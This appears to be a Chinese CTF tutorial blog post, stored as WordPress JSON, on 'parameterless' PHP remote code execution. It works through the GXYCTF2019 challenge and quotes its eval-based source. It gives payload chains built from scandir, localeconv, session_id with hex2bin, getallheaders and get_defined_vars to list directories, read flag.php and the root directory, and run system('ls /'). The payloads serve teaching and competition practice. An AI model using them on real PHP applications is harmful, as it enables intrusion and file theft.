{"id":103,"date":"2025-04-13T21:05:31","date_gmt":"2025-04-13T13:05:31","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=103"},"modified":"2025-08-11T17:15:18","modified_gmt":"2025-08-11T09:15:18","slug":"rce","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=103","title":{"rendered":"\u65e0\u53c2\u6570rce"},"content":{"rendered":"<h3><strong>\u4ecb\u7ecd\u4ee5\u4e0b\u76f8\u5173payload\u9700\u8981\u7684\u51fd\u6570\uff1a<\/strong><\/h3>\n<pre><code>scandir() :\u5c06\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55\u7684\u5217\u8868\u3002\u8fd4\u56de\u7684\u7ed3\u679c\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u5176\u4e2d\u5305\u542b\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55\u540d\u79f0\uff08glob()\u53ef\u66ff\u6362\uff09\nlocaleconv() \uff1a\u8fd4\u56de\u4e00\u5305\u542b\u672c\u5730\u6570\u5b57\u53ca\u8d27\u5e01\u683c\u5f0f\u4fe1\u606f\u7684\u6570\u7ec4\u3002\uff08\u4f46\u662f\u8fd9\u91cc\u6570\u7ec4\u7b2c\u4e00\u9879\u5c31\u662f\u2018.\u2019\uff0c\u8fd9\u4e2a.\u7684\u7528\u5904\u5f88\u5927\uff09\ncurrent() \uff1a\u8fd4\u56de\u6570\u7ec4\u4e2d\u7684\u5355\u5143\uff0c\u9ed8\u8ba4\u53d6\u7b2c\u4e00\u4e2a\u503c\u3002pos()\u548ccurrent()\u662f\u540c\u4e00\u4e2a\u4e1c\u897f\ngetcwd() :\u53d6\u5f97\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\ndirname():\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u76ee\u5f55\u90e8\u5206\narray_flip() :\u4ea4\u6362\u6570\u7ec4\u4e2d\u7684\u952e\u548c\u503c\uff0c\u6210\u529f\u65f6\u8fd4\u56de\u4ea4\u6362\u540e\u7684\u6570\u7ec4\narray_rand() :\u4ece\u6570\u7ec4\u4e2d\u968f\u673a\u53d6\u51fa\u4e00\u4e2a\u6216\u591a\u4e2a\u5355\u5143\narray_reverse():\u5c06\u6570\u7ec4\u5185\u5bb9\u53cd\u8f6c\nstrrev():\u7528\u4e8e\u53cd\u8f6c\u7ed9\u5b9a\u5b57\u7b26\u4e32\ngetcwd()\uff1a\u83b7\u53d6\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u8def\u5f84\ndirname() \uff1a\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u76ee\u5f55\u90e8\u5206\u3002\nchdir() \uff1a\u51fd\u6570\u6539\u53d8\u5f53\u524d\u7684\u76ee\u5f55\u3002\neval()\u3001assert()\uff1a\u547d\u4ee4\u6267\u884c\nhightlight_file()\u3001show_source()\u3001readfile()\uff1a\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\ngetallheaders()\u8fd4\u56de\u5f53\u524d\u8bf7\u6c42\u7684\u6240\u6709\u8bf7\u6c42\u5934\u4fe1\u606f\uff0c<\/code><\/pre>\n<pre><code>end() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nnext() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nprev() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0a\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nreset() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\neach() \uff1a \u8fd4\u56de\u5f53\u524d\u5143\u7d20\u7684\u952e\u540d\u548c\u952e\u503c\uff0c\u5e76\u5c06\u5185\u90e8\u6307\u9488\u5411\u524d\u79fb\u52a8<\/code><\/pre>\n<h3>\u65b9\u6cd5\u4e00\uff1ascandir() \u6700\u5e38\u89c4\u7684\u901a\u89e3<\/h3>\n<p>\u4e3e\u4e00\u4e2a\u4f8b\u5b50\u5173\u4e8escandir()\u51fd\u6570\u7684\u4f7f\u7528\uff1a<\/p>\n<p>scandir(\u2018.\u2019)\u662f\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\uff0c\u5c31\u53ef\u4ee5\u9760localeconv() \u8fd4\u56de\u7684\u6570\u7ec4\u7b2c\u4e00\u4e2a\u5c31\u662f\u2018.\u2019\uff0ccurrent()\u53d6\u7b2c\u4e00\u4e2a\u503c\uff0c\u90a3\u4e48current(localeconv())\u5c31\u80fd\u6784\u9020\u4e00\u4e2a\u2018.\u2019,\u90a3\u4e48\u4ee5\u4e0b\u5c31\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u8fd4\u56de\u67e5\u770b\u5f53\u524d\u76ee\u5f55\u4e0b\u6587\u4ef6\u7684payload\uff1a<\/p>\n<pre><code>?\u53c2\u6570=var_dump(scandir(current(localeconv())));<\/code><\/pre>\n<p>\u6570\u7ec4\u79fb\u52a8\u64cd\u4f5c\uff1a<\/p>\n<pre><code>end() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nnext() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nprev() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0a\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nreset() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\neach() \uff1a \u8fd4\u56de\u5f53\u524d\u5143\u7d20\u7684\u952e\u540d\u548c\u952e\u503c\uff0c\u5e76\u5c06\u5185\u90e8\u6307\u9488\u5411\u524d\u79fb\u52a8<\/code><\/pre>\n<p>\u4e00\u9053\u4f8b\u9898BuuCTF [GXYCTF2019]\u7981\u6b62\u5957\u5a03<\/p>\n<pre><code class=\"language-php\">&lt;?php\ninclude &quot;flag.php&quot;;\necho &quot;flag\u5728\u54ea\u91cc\u5462\uff1f&lt;br&gt;&quot;;\nif(isset($_GET[&#039;exp&#039;])){\n    if (!preg_match(&#039;\/data:\\\/\\\/|filter:\\\/\\\/|php:\\\/\\\/|phar:\\\/\\\/\/i&#039;, $_GET[&#039;exp&#039;])) {\n        if(&#039;;&#039; === preg_replace(&#039;\/[a-z,_]+\\((?R)?\\)\/&#039;, NULL, $_GET[&#039;exp&#039;])) {\n            if (!preg_match(&#039;\/et|na|info|dec|bin|hex|oct|pi|log\/i&#039;, $_GET[&#039;exp&#039;])) {\n                \/\/ echo $_GET[&#039;exp&#039;];\n                @eval($_GET[&#039;exp&#039;]);\n            }\n            else{\n                die(&quot;\u8fd8\u5dee\u4e00\u70b9\u54e6\uff01&quot;);\n            }\n        }\n        else{\n            die(&quot;\u518d\u597d\u597d\u60f3\u60f3\uff01&quot;);\n        }\n    }\n    else{\n        die(&quot;\u8fd8\u60f3\u8bfbflag\uff0c\u81ed\u5f1f\u5f1f\uff01&quot;);\n    }\n}\n\/\/ highlight_file(__FILE__);\n?&gt;<\/code><\/pre>\n<pre><code>exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));<\/code><\/pre>\n<p>\u63a5\u4e0b\u6765\u9010\u4e2a\u5206\u6790payload\u7684\u6784\u6210\uff1a<\/p>\n<p>1\u3001var_dump(localeconv());\u53ef\u4ee5\u770b\u89c1\u7b2c\u4e00\u4e2astring[1]\u5c31\u662f\u4e00\u4e2a\u201c.\u201d\uff0c\u8fd9\u4e2a\u70b9\u662f\u7531localeconv()\u4ea7\u751f\u7684<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250413202004554.png\" alt=\"\" \/><\/p>\n<p>2\u3001\u5229\u7528<code>current()<\/code>\u51fd\u6570\u5c06\u8fd9\u4e2a\u70b9\u53d6\u51fa\u6765\u7684\uff0c<code>\u2018.\u2019<\/code>\u4ee3\u8868\u7684\u662f\u5f53\u524d\u76ee\u5f55\uff0c\u90a3\u63a5\u4e0b\u6765\u5c31\u5f88\u597d\u7406\u89e3\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u70b9\u5b8c\u6210\u904d\u5386\u76ee\u5f55\u7684\u64cd\u4f5c\uff0c\u76f8\u5f53\u4e8e\u5c31\u662f<code>linux<\/code>\u4e2d\u7684<code>ls<\/code>\u6307\u4ee4<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250413202032257.png\" alt=\"\" \/>3\u3001\u65e2\u7136current()\u53d6\u7b2c\u4e00\u4e2a\u503c\uff0c\u90a3\u4e48current(localeconv())\u6784\u9020\u4e00\u4e2a<code>&#039;.&#039;<\/code>,<strong>\u800c<\/strong><code>&#039;.&#039;<\/code> <strong>\u8868\u793a\u5f53\u524d\u76ee\u5f55<\/strong>\uff0c<code>scandir(&#039;.&#039;)<\/code> \u5c06\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6\u548c\u5b50\u76ee\u5f55\uff0c\u8fd9\u91cc\u6211\u4eec\u5f97\u77e5flag\u6240\u5728\u7684\u6587\u4ef6\u540d\u5c31\u662fflag.php<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250413202133471.png\" alt=\"\" \/><\/p>\n<p>4\u3001\u7136\u800cflag\u7684\u6587\u4ef6\u540d\u5728\u6bd4\u8f83\u540e\u7aef\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7array_reverse()\u5c06\u6570\u7ec4\u5185\u5bb9\u53cd\u8f6c\uff0c\u8ba9\u5b83\u4ece\u5012\u6570\u7b2c\u4e8c\u7684\u4f4d\u7f6e\u53d8\u6210\u6b63\u6570\u7b2c\u4e8c<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250413202149360.png\" alt=\"\" \/><\/p>\n<p>5\u3001\u79fb\u52a8\u6307\u9488\u8bfb\u53d6\u7b2c\u4e8c\u4e2a\u6570\u7ec4\uff0c\u53c2\u7167\u4e0b\u5217\u6570\u7ec4\u79fb\u52a8\u64cd\u4f5c\u53ef\u77e5\u6211\u4eec\u5e94\u9009\u7528next()\u51fd\u6570<\/p>\n<pre><code>end() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nnext() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nprev() \uff1a\u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u4e0a\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\nreset() \uff1a \u5c06\u5185\u90e8\u6307\u9488\u6307\u5411\u6570\u7ec4\u4e2d\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\uff0c\u5e76\u8f93\u51fa\neach() \uff1a \u8fd4\u56de\u5f53\u524d\u5143\u7d20\u7684\u952e\u540d\u548c\u952e\u503c\uff0c\u5e76\u5c06\u5185\u90e8\u6307\u9488\u5411\u524d\u79fb\u52a8<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250413202204136.png\" alt=\"\" \/><\/p>\n<p>6.\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9<\/p>\n<pre><code>show_source(next(array_reverse(scandir(current(localeconv())))));\nhighlight_file(next(array_reverse(scandir(current(localeconv())))));<\/code><\/pre>\n<h3>\u65b9\u6cd5\u4e8c\uff1asession_id()<\/h3>\n<p>\u4f7f\u7528\u6761\u4ef6\uff1a\u5f53\u8bf7\u6c42\u5934\u4e2d\u6709cookie\u65f6\uff08\u6216\u8005\u8d70\u6295\u65e0\u8def\u624b\u52a8\u6dfb\u52a0cookie\u5934\u4e5f\u884c\uff0c\u6709\u4e9bCTF\u9898\u4e0d\u4f1a\u5361\uff09<\/p>\n<p>\u9996\u5148\u6211\u4eec\u9700\u8981\u5f00\u542fsession_start()\u6765\u4fdd\u8bc1session_id()\u7684\u4f7f\u7528\uff0csession_id\u53ef\u4ee5\u7528\u6765\u83b7\u53d6\u5f53\u524d\u4f1a\u8bddID\uff0c\u4e5f\u5c31\u662f\u8bf4\u5b83\u53ef\u4ee5\u6293\u53d6PHPSESSID\u540e\u9762\u7684\u4e1c\u897f\uff0c\u4f46\u662fphpsession\u4e0d\u5141\u8bb8()\u51fa\u73b0<\/p>\n<h4>\u6cd5\u4e00\uff1ahex2bin\uff08\uff09<\/h4>\n<p>\u6211\u4eec\u81ea\u5df1\u624b\u52a8\u5bf9\u547d\u4ee4\u8fdb\u884c\u5341\u516d\u8fdb\u5236\u7f16\u7801\uff0c\u540e\u9762\u5728\u7528\u51fd\u6570hex2bin()\u89e3\u7801\u8f6c\u56de\u53bb\uff0c\u4f7f\u5f97\u540e\u7aef\u5b9e\u9645\u63a5\u6536\u5230\u7684\u662f\u6076\u610f\u4ee3\u7801\u3002\u6211\u4eec\u628a\u60f3\u8981\u6267\u884c\u7684\u547d\u4ee4\u8fdb\u884c\u5341\u516d\u8fdb\u5236\u7f16\u7801\u540e\uff0c\u66ff\u6362\u6389\u2018Cookie:PHPSESSID=\u2019\u540e\u9762\u7684\u503c<\/p>\n<p>\u4ee5\u4e0b\u662f\u5341\u516d\u8fdb\u5236\u7f16\u7801\u811a\u672c\uff1a<\/p>\n<pre><code>&lt;?php\n$encoded = bin2hex(&quot;phpinfo();&quot;);\necho $encoded;\n?&gt;<\/code><\/pre>\n<p>\u5f97\u5230phpinfo();\u7684\u5341\u516d\u8fdb\u5236\u7f16\u7801\uff0c\u5373706870696e666f28293b<\/p>\n<p>\u90a3\u4e48payload\u5c31\u53ef\u4ee5\u662f\uff1a<\/p>\n<pre><code>?\u53c2\u6570=eval(hex2bin(session_id(session_start())));<\/code><\/pre>\n<p>\u540c\u65f6\u66f4\u6539cookie\u540e\u7684\u503c\u4e3a\u60f3\u6267\u884c\u7684\u547d\u4ee4\u7684\u5341\u516d\u8fdb\u5236\u7f16\u7801<\/p>\n<h4>\u6cd5\u4e8c\uff1a\u8bfb\u6587\u4ef6<\/h4>\n<p>\u4f8b\u9898\u4f9d\u7136\u662f[GXYCTF2019]\u7981\u6b62\u5957\u5a03\uff0c\u5728\u77e5\u9053\u6587\u4ef6\u540d\u4e3aflag.php\u7684\u60c5\u51b5\u4e0b\u76f4\u63a5\u8bfb\u6587\u4ef6<\/p>\n<p>\u5982\u679c\u5df2\u77e5\u6587\u4ef6\u540d\uff0c\u628a\u6587\u4ef6\u540d\u5199\u5728PHPSESSID\u540e\u9762\uff0c\u6784\u9020payload\u4e3a\uff1a<\/p>\n<pre><code>readfile(session_id(session_start()));<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250413202220229.png\" alt=\"\" \/><\/p>\n<h3>\u65b9\u6cd5\u4e09\uff1agetallheaders()<\/h3>\n<p>getallheaders()\u8fd4\u56de\u5f53\u524d\u8bf7\u6c42\u7684\u6240\u6709\u8bf7\u6c42\u5934\u4fe1\u606f\uff0c\u5c40\u9650\u4e8eApache\uff08apache_request_headers()\u548cgetallheaders()\u529f\u80fd\u76f8\u4f3c\uff0c\u53ef\u4e92\u76f8\u66ff\u4ee3\uff0c\u4e0d\u8fc7\u4e5f\u662f\u5c40\u9650\u4e8eApache\uff09<\/p>\n<p>\u5f53\u786e\u5b9a\u80fd\u591f\u8fd4\u56de\u65f6\uff0c\u6211\u4eec\u5c31\u80fd\u5728\u6570\u636e\u5305\u6700\u540e\u4e00\u884c\u52a0\u4e0a\u4e00\u4e2a\u8bf7\u6c42\u5934\uff0c\u5199\u5165\u6076\u610f\u4ee3\u7801\uff0c\u518d\u7528end()\u51fd\u6570\u6307\u5411\u6700\u540e\u4e00\u4e2a\u8bf7\u6c42\u5934\uff0c\u4f7f\u5176\u6267\u884c\uff0cpayload\uff1a<\/p>\n<pre><code>var_dump(end(getallheaders()));<\/code><\/pre>\n<h3>\u65b9\u6cd5\u56db\uff1aget_defined_vars()<\/h3>\n<p>\u76f8\u8f83\u4e8egetallheaders\uff08\uff09\u66f4\u52a0\u5177\u6709\u666e\u904d\u6027\uff0c\u5b83\u53ef\u4ee5\u56de\u663e\u5168\u5c40\u53d8\u91cf$_GET\u3001$_POST\u3001$_FILES\u3001$_COOKIE\uff0c<\/p>\n<p>\u8fd4\u56de\u6570\u7ec4\u987a\u5e8f\u4e3a$_GET\u2013&gt;$_POST\u2013&gt;$_COOKIE\u2013&gt;$_FILES<\/p>\n<p>\u9996\u5148\u786e\u8ba4\u662f\u5426\u6709\u56de\u663e\uff1a<\/p>\n<pre><code>print_r(get_defined_vars());<\/code><\/pre>\n<p>\u5047\u5982\u8bf4\u539f\u672c\u53ea\u6709\u4e00\u4e2a\u53c2\u6570a\uff0c\u90a3\u4e48\u53ef\u4ee5\u591a\u52a0\u4e00\u4e2a\u53c2\u6570b\uff0c\u540e\u9762\u5199\u5165\u6076\u610f\u8bed\u53e5\uff0cpayload\uff1a<\/p>\n<pre><code>a=eval(end(current(get_defined_vars())));&amp;b=system(&#039;ls \/&#039;);<\/code><\/pre>\n<p>\u628aeval\u6362\u6210assert\u4e5f\u884c \uff0c\u80fd\u6267\u884csystem(\u2018ls \/\u2018)\u5c31\u884c<\/p>\n<h3>\u65b9\u6cd5\u4e94\uff1achdir()&amp;array_rand()\u8d4c\u72d7\u8bfb\u6587\u4ef6<\/h3>\n<p>\u5b9e\u5728\u65e0\u6cd5rce\uff0c\u53ef\u4ee5\u8003\u8651\u76ee\u5f55\u904d\u5386\u8fdb\u884c\u6587\u4ef6\u8bfb\u53d6<\/p>\n<p>\u5229\u7528<code>getcwd()<\/code>\u83b7\u53d6\u5f53\u524d\u76ee\u5f55\uff1a<\/p>\n<pre><code>var_dump(getcwd());<\/code><\/pre>\n<p>\u7ed3\u5408dirname()\u5217\u51fa\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u7684\u7236\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55:<\/p>\n<pre><code>var_dump(scandir(dirname(getcwd())));<\/code><\/pre>\n<p>\u8bfb\u4e0a\u4e00\u7ea7\u6587\u4ef6\u540d\uff1a<\/p>\n<pre><code>?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));\n\n?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));\n\n?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));<\/code><\/pre>\n<p>\u8bfb\u6839\u76ee\u5f55:<\/p>\n<p>ord() \u51fd\u6570\u548c chr() \u51fd\u6570\uff1a\u53ea\u80fd\u5bf9\u7b2c\u4e00\u4e2a\u5b57\u7b26\u8fdb\u884c\u8f6c\u7801\uff0cord() \u7f16\u7801\uff0cchr)\u89e3\u7801\uff0c\u6709\u6982\u7387\u4f1a\u89e3\u7801\u51fa\u659c\u6760\u8bfb\u53d6\u6839\u76ee\u5f55<\/p>\n<pre><code>?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));<\/code><\/pre>\n<p>\u8981\u7528chdir()\u56fa\u5b9a\uff0cpayload\uff1a<\/p>\n<pre><code>?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));<\/code><\/pre>\n<p>\u901a\u8fc7bp\u7684intruder\u6a21\u5757\u6765\u8bfb\u5230\u6839\u76ee\u5f55\uff1a<\/p>\n<button class=\"simplefavorite-button\" data-postid=\"103\" data-siteid=\"1\" data-groupid=\"1\" data-favoritecount=\"1\" style=\"\">\u6536\u85cf <i class=\"sf-icon-star-empty\"><\/i><\/button>","protected":false},"excerpt":{"rendered":"<p>\u4ecb\u7ecd\u4ee5\u4e0b\u76f8\u5173payload\u9700\u8981\u7684\u51fd\u6570\uff1a scandir() :\u5c06\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55\u7684\u5217\u8868\u3002\u8fd4\u56de\u7684\u7ed3\u679c\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u5176\u4e2d\u5305 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[11,8],"tags":[15,6],"class_list":["post-103","post","type-post","status-publish","format-standard","hentry","category-php","category-web","tag-rce","tag-web"],"_links":{"self":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/103","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=103"}],"version-history":[{"count":3,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/103\/revisions"}],"predecessor-version":[{"id":147,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/103\/revisions\/147"}],"wp:attachment":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=103"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=103"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=103"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}